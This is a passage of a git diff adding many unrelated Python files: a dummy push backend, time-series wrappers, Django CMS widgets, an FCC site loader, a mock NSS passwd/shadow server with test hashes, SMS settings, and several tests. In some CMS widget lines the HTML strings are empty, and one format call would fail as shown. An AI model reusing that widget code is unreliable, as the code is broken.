equal. """ + return "CERTIFICATE" + + def dump_digest(self, raw_certificate, digest): + """ Returns dummy digsst. All dummy certificates are equal. """ + return self.dump_certificate(raw_certificate) + + +class Backend(BaseBackend): + """ Dummy backend designed for testing without performing real IO. Serves + as an exmple for your custom backends. + """ + # simulate stdio behavior + can_detect_close = False + + def __init__(self, push=None, feedback=None, **options): + """ Create new backend. + + :Arguments: + - push (list): list of status codes to return while sending messages. + - feedback (int): number of tokens to generate in the feedback stream. + """ + super(Backend, self).__init__(**options) + self.push_results = push + self.push_result_pos = -1 + self.feedback_results = feedback + self.new_connections = 0 + assert (push is not None) ^ (feedback is not None), "Push results or feedback stream must be provided" + + def get_new_connection(self, address, certificate, timeout=None): + """ Open a new connection. + + :Arguments: + - address (tuple): target (host, port). + - certificate (:class:`Certificate`): certificate instance. + - timeout (float): connection timeout in seconds + """ + self.new_connections += 1 + self.push_result_pos += 1 + return Connection(self, address, certificate) + + def get_certificate(self, cert_params): + """ Create/load certificate from parameters. """ + return Certificate(**cert_params) + + def create_lock(self): + """ Provides semaphore with ``threading.Lock`` interface. """ + return _threading.Lock() + + +class Connection(BaseConnection): + """ Dummy connection. """ + + def __init__(self, pool, address, certificate): + """ Create new dummy connection. + + :Arguments: + - pool (:class:`Backend`): dummy backend. + - address (tuple): target host and port. + - certificate (:class:`Certificate`): provider certificate. + """ + super(Connection, self).__init__(address, certificate) + self.pool = pool + self._closed = False + + def closed(self): + """ Returns True if :func:`close` has been explicitly called. """ + return self._closed + + def close(self): + """ Marks this connection as closed. """ + self._closed = True + + def reset(self): + """ Reset dummy connection to use next result record. """ + pass + + def write(self, data, timeout): + """ Does nothing, always succeeds. """ + if self.closed(): + raise IOError("Connection closed") + + def peek(self, size): + """ Always returns None as we never fail prematurely. """ + return None + + def read(self, size, timeout): + """ Iterates over preconfigured send/feedback responses. """ + if self.closed(): + return None + + if self.pool.push_results is not None: + # we are push connection + ret = self.pool.push_results[self.pool.push_result_pos % len(self.pool.push_results)] + if ret is not None: + ret = pack(">BBI", 8, ret, 0) + + return ret + else: # feedback mode + ret = [] + for x in range(0, self.pool.feedback_results): + token = six.b("test_{}".format(x)) + ret.append(pack(">IH{}s".format(len(token)), int(time.time()), len(token), token)) + + self.close() + return six.binary_type().join(ret) diff --git a/pool/shard000/Python/0007608_wrappers.py b/pool/shard000/Python/0007608_wrappers.py new file mode 100644 index 0000000000000000000000000000000000000000..b999ba5ac1b3d94d6452628925b096bac17f71ac --- /dev/null +++ b/pool/shard000/Python/0007608_wrappers.py @@ -0,0 +1,168 @@ +from bisect import bisect_left, bisect_right + +from numpy import ndarray + +from ..conf import settings +from ..exc import DateNotFound, OutOfBound, RightOutOfBound +from .section import asarray + + +class TimeSerieWrap: + + def __init__(self, ts, **kwargs): + self.ts = ts + self.modified = False + self.names = ts.names() + self.wrap(**kwargs) + + def wrap(self, **kwargs): + pass + + def get(self, dt, default = None): + '''Equivalent to:: + + self[dt] + +but catches exceptions and return *default*.''' + try: + return self[dt] + except DateNotFound: + return default + + def getts(self): + return self.ts + + @property + def shape(self): + return len(self), self.ts.count() + + +class asbtree(TimeSerieWrap): + '''Wrap a :class:`dynts.TimeSeries` and +expose binary-tree like functionalities. A :class:`dynts.TimeSeries` instance +has a shortcut method which construct a ``asbtree``. Here is an example:: + + >>> from dynts.utils.populate import randomts, date + >>> ts = randomts(cols = 2, start = date(2010, 1, 1), size = 50) + >>> dts = ts.asbtree() + >>> sts.find_ge(ts.start()) + 1 + >>> sts.find_ge(ts.end()) + 49 +''' + def wrap(self): + ts = self.ts + self.dates = asarray(ts.dates()) + self.values = ts.values() + + def __len__(self): + return len(self.dates) + + def __getitem__(self, dt): + '''Get the value at *dt* otherwise it raises +an :class:`dynts.exceptions.DateNotFound`.''' + try: + index = self.find_ge(dt) + except OutOfBound: + raise DateNotFound + if self.dates[index] == dt: + return self.values[index] + else: + raise DateNotFound + + def at(self, dt): + val = self[dt] + return dict(zip(self.names, val)) + + def find_ge(self, dt): + '''Building block of all searches. Find the index +corresponding to the leftmost value greater or equal to *dt*. +If *dt* is greater than the +:func:`dynts.TimeSeries.end` a :class:`dynts.exceptions.RightOutOfBound` +exception will raise. + +*dt* must be a python datetime.date instance.''' + i = bisect_left(self.dates, dt) + if i != len(self.dates): + return i + raise RightOutOfBound + + def find_le(self, dt): + '''Find the index corresponding to the rightmost +value less than or equal to *dt*. +If *dt* is less than :func:`dynts.TimeSeries.end` +a :class:`dynts.exceptions.LeftOutOfBound` +exception will raise. + +*dt* must be a python datetime.date instance.''' + i = bisect_right(self.dates, dt) + if i: + return i-1 + raise LeftOutOfBound + + def __repr__(self): + return '%s(%s)' % (self.__class__.__name__, self.ts.__repr__()) + + def __str__(self): + return '%s(%s)' % (self.__class__.__name__, self.ts) + + +class ashash(TimeSerieWrap, dict): + + def wrap(self): + ts = self.ts + hash = {} + self.hash = hash + dict.__init__(self, ts.items()) + + def __getitem__(self, dt): + '''Get the value at *dt* otherwise it raises +an :class:`dynts.exceptions.DateNotFound`.''' + try: + return dict.__getitem__(self, dt) + except KeyError: + raise DateNotFound + + def __setitem__(self, dt, item): + # if the timeseries contains objects, the items must be a numpy array + # otherwise we put it into a 1 element array. + if self.ts.is_object and not isinstance(item, ndarray): + t, item = item, ndarray((1, ), dtype = self.ts.dtype) + item[0] = t + dict.__setitem__(self, dt, item) + self.modified = True + + def __iter__(self): + dates = sorted(dict.__iter__(self)) + if settings.desc: + dates = reversed(dates) + return iter(dates) + + def items(self): + for dt in self: + yield dt, self[dt] + + def getts(self): + if self.modified: + name = settings.splittingnames.join(self.names) + dates = list(self) + values = (self[dt] for dt in dates) + return self.ts.clone(name = name, date = dates, data = values) + else: + return self.ts + + +class pair(object): + __slots__ = ('time', 'value') + + def __init__(self, time, value): + self.time, self.value = time, value + + def __eq__(self, other): + return self.time == other.time + + def __gt__(self, other): + return self.time > other.time + + def __lt__(self, other): + return self.time < other.time diff --git a/pool/shard000/Python/0007611_widgets.py b/pool/shard000/Python/0007611_widgets.py new file mode 100644 index 0000000000000000000000000000000000000000..c1e8d7c503af519b0c12db48b0008db0bf891f2b --- /dev/null +++ b/pool/shard000/Python/0007611_widgets.py @@ -0,0 +1,219 @@ +# -*- coding: utf-8 -*- +from cms.forms.utils import get_site_choices, get_page_choices +from cms.models import Page, PageUser, Placeholder +from cms.plugin_pool import plugin_pool +from cms.utils import get_language_from_request +from django.conf import settings +from django.contrib.sites.models import Site +from django.forms.widgets import Select, MultiWidget, Widget +from django.template.context import RequestContext +from django.template.loader import render_to_string +from django.utils.encoding import force_unicode +from django.utils.safestring import mark_safe +from django.utils.translation import ugettext as _ +from os.path import join +import copy + +class PageSelectWidget(MultiWidget): + """A widget that allows selecting a page by first selecting a site and then + a page on that site in a two step process. + """ + def __init__(self, site_choices=None, page_choices=None, attrs=None): + if attrs is not None: + self.attrs = attrs.copy() + else: + self.attrs = {} + if site_choices is None or page_choices is None: + site_choices, page_choices = get_site_choices(), get_page_choices() + self.site_choices = site_choices + self.choices = page_choices + widgets = (Select(choices=site_choices ), + Select(choices=[('', '----')]), + Select(choices=self.choices, attrs={'style': "display:none;"} ), + ) + super(PageSelectWidget, self).__init__(widgets, attrs) + + def decompress(self, value): + """ + receives a page_id in value and returns the site_id and page_id + of that page or the current site_id and None if no page_id is given. + """ + if value: + page = Page.objects.get(pk=value) + site = page.site + return [site.pk, page.pk, page.pk] + site = Site.objects.get_current() + return [site.pk,None,None] + + def _has_changed(self, initial, data): + # THIS IS A COPY OF django.forms.widgets.Widget._has_changed() + # (except for the first if statement) + + """ + Return True if data differs from initial. + """ + # For purposes of seeing whether something has changed, None is + # the same as an empty string, if the data or inital value we get + # is None, replace it w/ u''. + if data is None or (len(data)>=2 and data[1] in [None,'']): + data_value = u'' + else: + data_value = data + if initial is None: + initial_value = u'' + else: + initial_value = initial + if force_unicode(initial_value) != force_unicode(data_value): + return True + return False + + def render(self, name, value, attrs=None): + # THIS IS A COPY OF django.forms.widgets.MultiWidget.render() + # (except for the last line) + + # value is a list of values, each corresponding to a widget + # in self.widgets. + if not isinstance(value, list): + value = self.decompress(value) + output = [] + final_attrs = self.build_attrs(attrs) + id_ = final_attrs.get('id', None) + for i, widget in enumerate(self.widgets): + try: + widget_value = value[i] + except IndexError: + widget_value = None + if id_: + final_attrs = dict(final_attrs, id='%s_%s' % (id_, i)) + output.append(widget.render(name + '_%s' % i, widget_value, final_attrs)) + output.append(r'''''' % {'name': name}) + return mark_safe(self.format_output(output)) + + def format_output(self, rendered_widgets): + return u' '.join(rendered_widgets) + + +class PluginEditor(Widget): + def __init__(self, attrs=None): + if attrs is not None: + self.attrs = attrs.copy() + else: + self.attrs = {} + + class Media: + js = [join(settings.CMS_MEDIA_URL, path) for path in ( + 'js/lib/jquery-ui.custom.min.js', + 'js/plugin_editor.js', + )] + css = { + 'all': [join(settings.CMS_MEDIA_URL, path) for path in ( + 'css/plugin_editor.css', + )] + } + + def render(self, name, value, attrs=None): + + context = { + 'plugin_list': self.attrs['list'], + 'installed_plugins': self.attrs['installed'], + 'copy_languages': self.attrs['copy_languages'], + 'language': self.attrs['language'], + 'show_copy': self.attrs['show_copy'], + 'placeholder': self.attrs['placeholder'], + } + return mark_safe(render_to_string( + 'admin/cms/page/widgets/plugin_editor.html', context)) + + +class UserSelectAdminWidget(Select): + """Special widget used in page permission inlines, because we have to render + an add user (plus) icon, but point it somewhere else - to special user creation + view, which is accessible only if user haves "add user" permissions. + + Current user should be assigned to widget in form constructor as an user + attribute. + """ + def render(self, name, value, attrs=None, choices=()): + output = [super(UserSelectAdminWidget, self).render(name, value, attrs, choices)] + if hasattr(self, 'user') and (self.user.is_superuser or \ + self.user.has_perm(PageUser._meta.app_label + '.' + PageUser._meta.get_add_permission())): + # append + icon + add_url = '../../../cms/pageuser/add/' + output.append(u' ' % \ + (add_url, name)) + output.append(u'' % (settings.ADMIN_MEDIA_PREFIX, _('Add Another'))) + return mark_safe(u''.join(output)) + + +class PlaceholderPluginEditorWidget(PluginEditor): + attrs = {} + def __init__(self, request, filter_func): + self.request = request + self.filter_func = filter_func + + def __deepcopy__(self, memo): + obj = copy.copy(self) + obj.request = copy.copy(self.request) + obj.filter_func = self.filter_func + memo[id(self)] = obj + return obj + + def render(self, name, value, attrs=None): + try: + ph = Placeholder.objects.get(pk=value) + except Placeholder.DoesNotExist: + ph = None + context = {'add':True} + if ph: + plugin_list = ph.cmsplugin_set.filter(parent=None).order_by('position') + plugin_list = self.filter_func(self.request, plugin_list) + language = get_language_from_request(self.request) + copy_languages = [] + if ph.actions.can_copy: + copy_languages = ph.actions.get_copy_languages( + placeholder=ph, + model=ph._get_attached_model(), + fieldname=ph._get_attached_field_name() + ) + context = { + 'plugin_list': plugin_list, + 'installed_plugins': plugin_pool.get_all_plugins(ph.slot), + 'copy_languages': copy_languages, + 'language': language, + 'show_copy': bool(copy_languages) and ph.actions.can_copy, + 'urloverride': True, + 'placeholder': ph, + } + #return mark_safe(render_to_string( + # 'admin/cms/page/widgets/plugin_editor.html', context)) + return mark_safe(render_to_string( + 'admin/cms/page/widgets/placeholder_editor.html', context, RequestContext(self.request))) diff --git a/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py b/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py new file mode 100644 index 0000000000000000000000000000000000000000..9fe6710f699464e8d949e4452b9d703748f4f22b --- /dev/null +++ b/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py @@ -0,0 +1,107 @@ +from protected_entities import ProtectedEntities +from protected_entity_radio_astronomy_site import \ + ProtectedEntityRadioAstronomySite +import os +import csv +import configuration + + +class ProtectedEntitiesRadioAstronomySites(ProtectedEntities): + """ + Intermediate class + """ + + +class ProtectedEntitiesRadioAstronomySitesUnitedStates( + ProtectedEntitiesRadioAstronomySites): + """ + Radioastronomy sites for the United States. Defined in section 15.712(h) + of the FCC regulations. + """ + + def source_filename(self): + base_directory = configuration.paths['UnitedStates'][ + 'protected_entities'] + return os.path.join(base_directory, + "Radioastronomy sites (FCC regulations 2012) - " + "Sheet1.csv") + + def source_name(self): + return "FCC 2012 regulations: section 15.712(h)" + + def get_max_protected_radius_km(self): + """ + See + :meth:`protected_entities.ProtectedEntities.get_max_protected_radius_km` + for more details. + + :return: 10.0 + :rtype: float + """ + return 10.0 + + def _load_entities(self): + """Load the protected entities.""" + + self.log.debug("Loading radio astronomy sites from \"%s\" (%s)" % ( + str(self.source_filename()), str(self.source_name()))) + + def str2bool(v): + return v.lower() in ("yes", "true", "t", "1") + + ras_channel = 37 + + with open(self.source_filename(), 'r') as f: + ras_csv = csv.DictReader(f) + for ras_entry in ras_csv: + # print ras_entry + + try: + lat_deg = float(ras_entry['Latitude (degree)']) + lat_min = float(ras_entry['Latitude (minute)']) + lat_sec = float(ras_entry['Latitude (second)']) + lat_dir = ras_entry['Latitude (direction)'] + if lat_dir.lower() in ["n", "north"]: + lat_mult = 1.0 + else: + lat_mult = -1.0 + latitude = lat_mult * ( + lat_deg + lat_min / 60 + lat_sec / 3600) + + lon_deg = float(ras_entry['Longitude (degree)']) + lon_min = float(ras_entry['Longitude (minute)']) + lon_sec = float(ras_entry['Longitude (second)']) + lon_dir = ras_entry['Longitude (direction)'] + if lon_dir.lower() in ["e", "east"]: + lon_mult = 1.0 + else: + lon_mult = -1.0 + longitude = lon_mult * ( + lon_deg + lon_min / 60 + lon_sec / 3600) + + name = ras_entry['Name'] + + is_point = str2bool(ras_entry['Is point']) + + if is_point: + latitude_deviation = None + longitude_deviation = None + else: + latitude_deviation = float( + ras_entry['Latitude deviation (decimal degrees)']) + longitude_deviation = float( + ras_entry['Longitude deviation (decimal degrees)']) + + new_ras_entry = ProtectedEntityRadioAstronomySite( + container=self, region=self.get_mutable_region(), + latitude=latitude, longitude=longitude, + channel=ras_channel, name=name, is_point=is_point, + latitude_deviation=latitude_deviation, + longitude_deviation=longitude_deviation) + + self._add_entity(new_ras_entry) + + except Exception as e: + self.log.error( + "Error reading in radio astronomy sites: " + str( + e) + " (last site read: " + str(name) + ")") diff --git a/pool/shard000/Python/0007614_pyunit_expr_show.py b/pool/shard000/Python/0007614_pyunit_expr_show.py new file mode 100644 index 0000000000000000000000000000000000000000..fe6a0f8d118f349e7cf2075c366cb6a1a7b14f45 --- /dev/null +++ b/pool/shard000/Python/0007614_pyunit_expr_show.py @@ -0,0 +1,28 @@ +import sys +sys.path.insert(1, "../../") +import h2o, tests + + +def expr_show(): + + + + iris = h2o.import_file(path=tests.locate("smalldata/iris/iris_wheader.csv")) + print "iris:" + iris.show() + + ################################################################### + + # expr[int], expr._data is pending + res = 2 - iris + res2 = res[0] + print "res2:" + res2.show() + + # expr[int], expr._data is remote + res3 = res[0] + print "res3:" + res3.show() + +if __name__ == "__main__": + tests.run_test(sys.argv, expr_show) diff --git a/pool/shard000/Python/0007615_nss_http_server.py b/pool/shard000/Python/0007615_nss_http_server.py new file mode 100644 index 0000000000000000000000000000000000000000..495a4b494bc98bdbbea89c503e7f2b807014ea68 --- /dev/null +++ b/pool/shard000/Python/0007615_nss_http_server.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +import json +from flask import Flask, request, abort, Response + +app = Flask(__name__) + + +@app.route('/passwd') +def passwd(): + data = [ + { + "pw_name": "testuser1", "pw_passwd": "x", "pw_uid": 6000, "pw_gid": 6000, + "pw_gecos": "Testing", "pw_dir": "/home/testuser1", "pw_shell": "/bin/bash", + }, + { + "pw_name": "testuser2", "pw_passwd": "x", "pw_uid": 6001, "pw_gid": 6000, + "pw_gecos": None, "pw_dir": "/home/testuser2", "pw_shell": "/bin/bash", + }, + { + "pw_name": "testuser3", "pw_passwd": "x", "pw_uid": 6002, "pw_gid": 6001, + "pw_gecos": None, "pw_dir": "/home/testuser3", "pw_shell": "/bin/bash", + }, + { + "pw_name": "testuser4", "pw_passwd": "x", "pw_uid": 6003, "pw_gid": 6001, + "pw_gecos": None, "pw_dir": "/home/testuser4", "pw_shell": "/bin/bash", + }, + ] + + name = request.args.get("name") + if name: + for struct in data: + if name == struct["pw_name"]: + return Response(json.dumps(struct), mimetype='application/json') + abort(404) + + uid = request.args.get("uid") + if uid: + uid = int(uid) + for struct in data: + if uid == struct["pw_uid"]: + return Response(json.dumps(struct), mimetype='application/json') + abort(404) + + return Response(json.dumps(data), mimetype='application/json') + + +@app.route('/group') +def group(): + data = [ + { "gr_name": "testgroup1", "gr_passwd": "x", "gr_gid": 6000, "gr_mem": ["testuser1", "testuser2"], }, + { "gr_name": "testgroup2", "gr_passwd": "x", "gr_gid": 6001, "gr_mem": ["testuser3", "testuser4"], }, + ] + + name = request.args.get("name") + if name: + for struct in data: + if name == struct["gr_name"]: + return Response(json.dumps(struct), mimetype='application/json') + abort(404) + + gid = request.args.get("gid") + if gid: + gid = int(gid) + for struct in data: + if gid == struct["gr_gid"]: + return Response(json.dumps(struct), mimetype='application/json') + abort(404) + + return Response(json.dumps(data), mimetype='application/json') + + +@app.route('/shadow') +def shadow(): + data = [ + { + "sp_namp": "testuser1", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034, + "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None, + }, + { + "sp_namp": "testuser2", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034, + "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None, + }, + { + "sp_namp": "testuser3", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034, + "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None, + }, + { + "sp_namp": "testuser4", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034, + "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": 10, "sp_expire": 50, "sp_flag": None, + }, + ] + + name = request.args.get("name") + if name: + for struct in data: + if name == struct["sp_namp"]: + return Response(json.dumps(struct), mimetype='application/json') + abort(404) + + return Response(json.dumps(data), mimetype='application/json') + + +if __name__ == "__main__": + app.debug = True + app.run(host="localhost", port=9669) diff --git a/pool/shard000/Python/0007617_sms_settings.py b/pool/shard000/Python/0007617_sms_settings.py new file mode 100644 index 0000000000000000000000000000000000000000..ddfc0456bd6d40293e109a4fb486a154119fcf41 --- /dev/null +++ b/pool/shard000/Python/0007617_sms_settings.py @@ -0,0 +1,108 @@ +# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors +# License: GNU General Public License v3. See license.txt + +from __future__ import unicode_literals +import frappe + +from frappe import _, throw, msgprint +from frappe.utils import nowdate + +from frappe.model.document import Document + +class SMSSettings(Document): + pass + +def validate_receiver_nos(receiver_list): + validated_receiver_list = [] + for d in receiver_list: + # remove invalid character + for x in [' ', '+', '-', '(', ')']: + d = d.replace(x, '') + + validated_receiver_list.append(d) + + if not validated_receiver_list: + throw(_("Please enter valid mobile nos")) + + return validated_receiver_list + + +def get_sender_name(): + "returns name as SMS sender" + sender_name = frappe.db.get_single_value('SMS Settings', 'sms_sender_name') or \ + 'ERPNXT' + if len(sender_name) > 6 and \ + frappe.db.get_default("country") == "India": + throw("""As per TRAI rule, sender name must be exactly 6 characters. + Kindly change sender name in Setup --> Global Defaults. + Note: Hyphen, space, numeric digit, special characters are not allowed.""") + return sender_name + +@frappe.whitelist() +def get_contact_number(contact_name, value, key): + "returns mobile number of the contact" + number = frappe.db.sql("""select mobile_no, phone from tabContact where name=%s and %s=%s""" % + ('%s', frappe.db.escape(key), '%s'), (contact_name, value)) + return number and (number[0][0] or number[0][1]) or '' + +@frappe.whitelist() +def send_sms(receiver_list, msg, sender_name = ''): + + import json + if isinstance(receiver_list, basestring): + receiver_list = json.loads(receiver_list) + if not isinstance(receiver_list, list): + receiver_list = [receiver_list] + + receiver_list = validate_receiver_nos(receiver_list) + + arg = { + 'receiver_list' : receiver_list, + 'message' : msg, + 'sender_name' : sender_name or get_sender_name() + } + + if frappe.db.get_value('SMS Settings', None, 'sms_gateway_url'): + send_via_gateway(arg) + else: + msgprint(_("Please Update SMS Settings")) + +def send_via_gateway(arg): + ss = frappe.get_doc('SMS Settings', 'SMS Settings') + args = {ss.message_parameter: arg.get('message')} + for d in ss.get("parameters"): + args[d.parameter] = d.value + + success_list = [] + for d in arg.get('receiver_list'): + args[ss.receiver_parameter] = d + status = send_request(ss.sms_gateway_url, args) + if status >= 200 and status < 300: + success_list.append(d) + + if len(success_list) > 0: + args.update(arg) + create_sms_log(args, success_list) + frappe.msgprint(_("SMS sent to following numbers: {0}").format("\n" + "\n".join(success_list))) + + +def send_request(gateway_url, params): + import requests + response = requests.get(gateway_url, params = params, headers={'Accept': "text/plain, text/html, */*"}) + response.raise_for_status() + return response.status_code + + +# Create SMS Log +# ========================================================= +def create_sms_log(args, sent_to): + sl = frappe.new_doc('SMS Log') + sl.sender_name = args['sender_name'] + sl.sent_on = nowdate() + sl.message = args['message'] + sl.no_of_requested_sms = len(args['receiver_list']) + sl.requested_numbers = "\n".join(args['receiver_list']) + sl.no_of_sent_sms = len(sent_to) + sl.sent_to = "\n".join(sent_to) + sl.flags.ignore_permissions = True + sl.save() diff --git a/pool/shard000/Python/0007618_setup.py b/pool/shard000/Python/0007618_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e7bf8e1d80131d733a11db73e1cf071702e8446c --- /dev/null +++ b/pool/shard000/Python/0007618_setup.py @@ -0,0 +1,101 @@ +import platform +import sys +import os + +from setuptools import find_packages, setup + + +def findRequirements(): + """ + Read the requirements.txt file and parse into requirements for setup's + install_requirements option. + """ + return [ + line.strip() + for line in open("requirements.txt").readlines() + if not line.startswith("#") + ] + + + +depLinks = [] + + + +# If we wanted to use nupic +# if "linux" in sys.platform and platform.linux_distribution()[0] == "CentOS": +# depLinks = [ "https://pypi.numenta.com/pypi/nupic", +# "https://pypi.numenta.com/pypi/nupic.bindings" ] + + +def read(fname): + """ + Utility function to read specified file. + """ + path = os.path.join(os.path.dirname(__file__), fname) + return open(path).read() + + + +setup(name="cloudbrain", + version="0.2.1", + description="Platform for wearable data analytics.", + author="Marion Le Borgne", + url="https://github.com/marionleborgne/cloudbrain", + packages=find_packages(), + install_requires=findRequirements(), + include_package_data=True, + dependency_links=depLinks, + long_description=read("README.md"), + license='GNU Affero General Public License v3', + classifiers=[ + 'License :: OSI Approved :: GNU Affero General Public License v3' + ], + entry_points={ + 'console_scripts': [ + 'cloudbrain = cloudbrain.run:main' + ] + }) + + +# import os +# from setuptools import setup, find_packages +# from pip.req import parse_requirements +# +# +# +# # parse_requirements() returns generator of pip.req.InstallRequirement objects +# install_reqs = parse_requirements("requirements.txt") +# +# # reqs is a list of requirement +# # e.g. ['django==1.5.1', 'mezzanine==1.4.6'] +# reqs = [str(ir.req) for ir in install_reqs] +# +# +# +# def read(fname): +# """ +# Utility function to read specified file. +# """ +# path = os.path.join(os.path.dirname(__file__), fname) +# return open(path).read() +# +# +# +# setup(name="cloudbrain", +# version="0.2.1", +# description=("Platform for real-time sensor data analysis and +# visualization."), +# packages=find_packages(), +# install_requires=reqs, +# include_package_data=True, +# long_description=read("README.md"), +# license='GNU Affero General Public License v3', +# classifiers=[ +# 'License :: OSI Approved :: GNU Affero General Public License v3' +# ], +# entry_points = { +# 'console_scripts': [ +# 'cloudbrain = cloudbrain.run:main' +# ] +# }) diff --git a/pool/shard000/Python/0007619_test_events.py b/pool/shard000/Python/0007619_test_events.py new file mode 100644 index 0000000000000000000000000000000000000000..9a43908488d16f43043c054bd630eff12c593602 --- /dev/null +++ b/pool/shard000/Python/0007619_test_events.py @@ -0,0 +1,113 @@ +from __future__ import absolute_import, unicode_literals + +import unittest + +import mock + +import pykka + +from mopidy import core +from mopidy.internal import deprecation +from mopidy.models import Track + +from tests import dummy_backend + + +@mock.patch.object(core.CoreListener, 'send') +class BackendEventsTest(unittest.TestCase): + + def setUp(self): # noqa: N802 + config = { + 'core': { + 'max_tracklist_length': 10000, + } + } + + self.backend = dummy_backend.create_proxy() + self.backend.library.dummy_library = [ + Track(uri='dummy:a'), Track(uri='dummy:b')] + + with deprecation.ignore(): + self.core = core.Core.start( + config, backends=[self.backend]).proxy() + + def tearDown(self): # noqa: N802 + pykka.ActorRegistry.stop_all() + + def test_forwards_backend_playlists_loaded_event_to_frontends(self, send): + self.core.playlists_loaded().get() + + self.assertEqual(send.call_args[0][0], 'playlists_loaded') + + def test_forwards_mixer_volume_changed_event_to_frontends(self, send): + self.core.volume_changed(volume=60).get() + + self.assertEqual(send.call_args[0][0], 'volume_changed') + self.assertEqual(send.call_args[1]['volume'], 60) + + def test_forwards_mixer_mute_changed_event_to_frontends(self, send): + self.core.mute_changed(mute=True).get() + + self.assertEqual(send.call_args[0][0], 'mute_changed') + self.assertEqual(send.call_args[1]['mute'], True) + + def test_tracklist_add_sends_tracklist_changed_event(self, send): + self.core.tracklist.add(uris=['dummy:a']).get() + + self.assertEqual(send.call_args[0][0], 'tracklist_changed') + + def test_tracklist_clear_sends_tracklist_changed_event(self, send): + self.core.tracklist.add(uris=['dummy:a']).get() + + self.core.tracklist.clear().get() + + self.assertEqual(send.call_args[0][0], 'tracklist_changed') + + def test_tracklist_move_sends_tracklist_changed_event(self, send): + self.core.tracklist.add(uris=['dummy:a', 'dummy:b']).get() + + self.core.tracklist.move(0, 1, 1).get() + + self.assertEqual(send.call_args[0][0], 'tracklist_changed') + + def test_tracklist_remove_sends_tracklist_changed_event(self, send): + self.core.tracklist.add(uris=['dummy:a']).get() + + self.core.tracklist.remove({'uri': ['dummy:a']}).get() + + self.assertEqual(send.call_args[0][0], 'tracklist_changed') + + def test_tracklist_shuffle_sends_tracklist_changed_event(self, send): + self.core.tracklist.add(uris=['dummy:a', 'dummy:b']).get() + + self.core.tracklist.shuffle().get() + + self.assertEqual(send.call_args[0][0], 'tracklist_changed') + + def test_playlists_refresh_sends_playlists_loaded_event(self, send): + self.core.playlists.refresh().get() + + self.assertEqual(send.call_args[0][0], 'playlists_loaded') + + def test_playlists_refresh_uri_sends_playlists_loaded_event(self, send): + self.core.playlists.refresh(uri_scheme='dummy').get() + + self.assertEqual(send.call_args[0][0], 'playlists_loaded') + + def test_playlists_create_sends_playlist_changed_event(self, send): + self.core.playlists.create('foo').get() + + self.assertEqual(send.call_args[0][0], 'playlist_changed') + + @unittest.SkipTest + def test_playlists_delete_sends_playlist_deleted_event(self, send): + # TODO We should probably add a playlist_deleted event + pass + + def test_playlists_save_sends_playlist_changed_event(self, send): + playlist = self.core.playlists.create('foo').get() + playlist = playlist.replace(name='bar') + + self.core.playlists.save(playlist).get() + + self.assertEqual(send.call_args[0][0], 'playlist_changed') diff --git a/pool/shard000/Python/0007621_ScreenBlocksTest.py b/pool/shard000/Python/0007621_ScreenBlocksTest.py new file mode 100644 index 0000000000000000000000000000000000000000..dc4b7b28dbce7452e86e043e7ab60652b4874895 --- /dev/null +++ b/pool/shard000/Python/0007621_ScreenBlocksTest.py @@ -0,0 +1,48 @@ +from yandextank.plugins.ConsoleScreen import Screen, CurrentHTTPBlock, CurrentNetBlock +from ConsoleOnlinePluginTest import FakeConsoleMarkup +from TankTests import TankTestCase + +class BlocksTestCase(TankTestCase): + def test_HTTP(self): + screen = Screen(50, FakeConsoleMarkup()) + block = CurrentHTTPBlock(screen) + block.render() + print block.lines + self.assertEquals('HTTP for 0 RPS: ', block.lines[0].strip()) + self.assertEquals(1, len(block.lines)) + + data = self.get_aggregate_data('data/preproc_single.txt') + data.overall.planned_requests = 100 + data.overall.http_codes = {'400': 10} + block.add_second(data) + block.render() + print block.lines + self.assertEquals(2, len(block.lines)) + + data.overall.http_codes = {'200': 4} + block.add_second(data) + block.render() + print block.lines + self.assertEquals(3, len(block.lines)) + + def test_Net(self): + screen = Screen(50, FakeConsoleMarkup()) + block = CurrentNetBlock(screen) + block.render() + print block.lines + self.assertEquals(' NET for 0 RPS: ', block.lines[0].strip()) + self.assertEquals(1, len(block.lines)) + + data = self.get_aggregate_data('data/preproc_single.txt') + data.overall.planned_requests = 100 + data.overall.net_codes = {'0': 10} + block.add_second(data) + block.render() + print block.lines + self.assertEquals(2, len(block.lines)) + + data.overall.net_codes = {'71': 4} + block.add_second(data) + block.render() + print block.lines + self.assertEquals(3, len(block.lines)) diff --git a/pool/shard000/Python/0007623_first.py b/pool/shard000/Python/0007623_first.py new file mode 100644 index 0000000000000000000000000000000000000000..a5c8617044cf07f30ed5ba48800c5286b4bdaec8 --- /dev/null +++ b/pool/shard000/Python/0007623_first.py @@ -0,0 +1,25 @@ +#!/usr/bin/python + +balance = 0 + +def deposit(amount): + global balance + balance = balance + amount + return balance + +def withdraw(amount): + global balance + balance = balance - amount + return balance + +# Ranjith +print "my initial balance {}".format(balance) +print " i am depositing 1000 rs to Ranjith" +deposit(1000) +print "my balance after deposti{}".format(balance) +print " i am with drawing 500 rs of Ranjith" +withdraw(500) +print "my balance {} after withdraw".format(balance) + +# Raj +print "my initial balance {}".format(balance) \ No newline at end of file diff --git a/pool/shard000/Python/0007624_get_redirected_url.py b/pool/shard000/Python/0007624_get_redirected_url.py new file mode 100644 index 0000000000000000000000000000000000000000..7bcc42a7988749d47725773fe8c30eadea371232 --- /dev/null +++ b/pool/shard000/Python/0007624_get_redirected_url.py @@ -0,0 +1,55 @@ +""" +Copyright (c) 2016, Marcelo Leal +Description: Simple Azure Media Services Python library +License: MIT (see LICENSE.txt file for details) +""" +import os +import json +import 